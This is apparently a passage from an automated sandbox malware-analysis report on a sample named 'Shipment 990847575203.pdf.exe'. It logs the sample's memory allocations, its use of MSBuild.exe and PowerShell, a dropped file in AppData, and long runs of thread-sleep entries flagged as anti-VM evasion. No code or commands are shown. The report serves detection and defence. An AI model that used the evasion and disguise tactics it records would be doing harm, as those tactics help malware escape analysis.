Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192, type: MEMORYSTR

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory allocated: 17F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory allocated: 32C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory allocated: 52C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory allocated: 94C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory allocated: A4C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory allocated: A6D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory allocated: B6D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 28D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory allocated: 14E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory allocated: 32E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory allocated: 1640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory allocated: 8EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory allocated: 9EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory allocated: A0D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory allocated: B0D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2EB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 3080000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 5080000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599764
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599401
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598983
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597325
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596387
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594187
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594078

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3237	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6320	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 2049	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 7795	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 7956
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 1887

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe TID: 6116	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 988	Thread sleep count: 3237 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7324	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 988	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7240	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7308	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7504	Thread sleep count: 2049 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7504	Thread sleep count: 7795 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -599016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -597016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -596016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -595891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -595547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -595437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -595109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -594890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -594672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7500	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe TID: 7396	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep count: 35 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -599875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7792	Thread sleep count: 7956 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7792	Thread sleep count: 1887 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -599764s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -599641s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -599516s >= -30000s
